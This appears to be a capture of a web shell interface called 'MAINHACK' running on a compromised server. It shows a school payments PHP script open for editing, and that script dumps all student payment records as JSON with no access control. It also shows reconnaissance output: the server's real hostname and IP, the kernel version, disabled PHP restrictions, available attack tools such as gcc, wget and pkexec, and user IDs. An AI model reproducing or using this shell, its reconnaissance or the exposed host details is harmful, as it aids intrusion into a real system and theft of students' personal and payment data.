[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: fetch_payments.php
<?php include("../functions.php"); header('Content-Type: application/json'); // 1. Cache all schools $schools = []; $getschools = mysqli_query($new, "SELECT school_code, school_name FROM schools"); while ($sch = mysqli_fetch_assoc($getschools)) { $schools[$sch['school_code']] = $sch['school_name']; } // 2. Fetch all payments and students $data = []; $sql = "SELECT stud_payment.*, enrol_generic.stud_name, enrol_generic.indexNo FROM stud_payment JOIN enrol_generic ON stud_payment.indexNumber = enrol_generic.indexNo ORDER BY stud_payment.pid DESC"; $result = mysqli_query($new, $sql); while ($getdata = mysqli_fetch_assoc($result)) { $schoolcode = $getdata['s_code']; $getdata['school_name'] = $schools[$schoolcode] ?? ''; // Fast lookup from cache $data[] = $getdata; } echo json_encode($data);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002